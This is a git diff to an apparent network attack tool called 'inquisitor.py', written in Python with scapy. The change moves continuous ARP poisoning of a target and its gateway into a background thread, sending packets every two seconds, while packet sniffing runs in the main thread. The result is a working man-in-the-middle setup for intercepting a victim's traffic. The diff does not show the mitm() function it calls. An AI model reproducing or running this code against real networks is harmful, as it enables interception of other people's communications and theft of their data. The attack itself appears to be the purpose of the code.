diff --git a/inquisitor/src/inquisitor.py b/inquisitor/src/inquisitor.py index b00db4c..796805c 100755 --- a/inquisitor/src/inquisitor.py +++ b/inquisitor/src/inquisitor.py @@ -4,6 +4,8 @@ import argparse import signal from scapy.all import get_if_hwaddr, conf, ARP, send, sniff +import threading +import time def my_mac(): """ @@ -63,11 +65,37 @@ def start_sniffing(interface=conf.iface): +def continuous_arp_poisoning(target_ip, target_mac, gateway_ip, gateway_mac, stop_event): + """ + Continuously send ARP poisoning packets in a separate thread + """ + print("Starting continuous ARP poisoning...") + packet_count = 0 + while not stop_event.is_set(): + try: + mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac()) + print(f"[ARP] Sent poisoning packets", flush=True) + time.sleep(2) # Send ARP packets every 2 seconds + except Exception as e: + print(f"[ERROR] ARP poisoning error: {e}", flush=True) + time.sleep(1) + def run(target_ip, target_mac, gateway_ip, gateway_mac): try: - while True: - mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac()) - start_sniffing() + # Create stop event for threads + stop_event = threading.Event() + + # Start ARP poisoning in background thread + arp_thread = threading.Thread( + target=continuous_arp_poisoning, + args=(target_ip, target_mac, gateway_ip, gateway_mac, stop_event) + ) + arp_thread.daemon = True + arp_thread.start() + + # Start packet sniffing in main thread + print("Starting packet sniffing...") + start_sniffing() except KeyboardInterrupt: print("Stopping the Inquisitor...")